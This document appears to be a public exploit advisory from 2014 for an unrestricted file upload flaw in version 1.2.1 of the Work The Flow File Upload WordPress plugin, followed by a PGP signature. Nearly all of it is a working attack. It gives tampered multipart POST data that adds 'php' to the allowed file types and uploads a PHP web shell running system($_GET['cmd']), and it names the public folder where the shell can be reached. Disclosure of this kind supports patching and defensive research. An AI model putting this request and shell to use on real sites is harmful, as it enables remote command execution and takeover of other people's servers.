55 lines
No EOL
1.8 KiB
Text
55 lines
No EOL
1.8 KiB
Text
# Author: nopesled
|
|
# Date: 24/04/14
|
|
# Software: https://wordpress.org/plugins/work-the-flow-file-upload/
|
|
# Company: http://wtf-fu.com/
|
|
# Version: 1.2.1
|
|
# Tested on: Windows 7
|
|
# Vulnerability: Unrestricted File Upload
|
|
|
|
|
|
Submit an image file via the wtf upload panel and intercept the POST request to /wp-admin/admin-ajax.php
|
|
|
|
By editing the data from the control 'accept_file_types', we can upload normally disallowed filetypes such as PHP.
|
|
|
|
Append '|php':
|
|
|
|
- ----------------------------123456789123456\r\n
|
|
Content-Disposition: form-data; name="accept_file_types"\r\n
|
|
\r\n
|
|
jpg|jpeg|mpg|mp3|png|gif|wav|ogg|php\r\n
|
|
|
|
|
|
Now change the extension in the data for 'filename' to '.php' and enter your desired code like so
|
|
|
|
- ----------------------------123456789123456\r\n
|
|
Content-Disposition: form-data; name="files[]"; filename="illegal.php"\r\n
|
|
Content-Type: application/octet-stream\r\n
|
|
\r\n
|
|
<?php\n
|
|
system($_GET[\'cmd\']);\n
|
|
?>\n
|
|
- ----------------------------123456789123456--\r\n
|
|
|
|
Submit this POST request and you will find your file in the directory:
|
|
/wp-content/uploads/public/wtf-fu_files/default/
|
|
|
|
It's not required to set the control 'deny_public_uploads' to true, because it still gets uploaded anyway regardless if it's enabled or not.
|
|
|
|
###################################
|
|
-----BEGIN PGP SIGNED MESSAGE-----
|
|
Hash: SHA512
|
|
|
|
Signed.
|
|
-----BEGIN PGP SIGNATURE-----
|
|
Version: Keybase OpenPGP v0.1.11
|
|
Comment: https://keybase.io/crypto
|
|
|
|
wsBcBAABCgAGBQJTWQpLAAoJEOB0UMODnV4U7QIIAIKXDQVK8fIXY0BSO4ZrHq8L
|
|
2a51JCVmpwBzrHVp87FCpYHcMXyuCXWi5joEbiJFVi5ojHTSii5ZwvBVJwvyoKcy
|
|
jexj2IvMoC30zrgSdTu9/lMd1tYGYQCSlMubFvzE0edmDCo7fH2gF8Zvfw4Lj4ng
|
|
KJOpB9HsvDUJVNlbDMl+MbGAW32m6BqG4ttdjE1bs1suDxb/JrS7okuHu1Qmpe0+
|
|
Xp50x4wUVrZSeqT5VnWDWjox2BnSGEcAKbkjFeRDBpgJyeWJGH20jXb6m4sYNLDT
|
|
gf9ml9oM5yncivMN2dJU+hp3Xyfp6rEute9jA+lcEMwZsyjlwAVFhszV4qh7X+o=
|
|
=5nDI
|
|
-----END PGP SIGNATURE-----
|
|
################################### |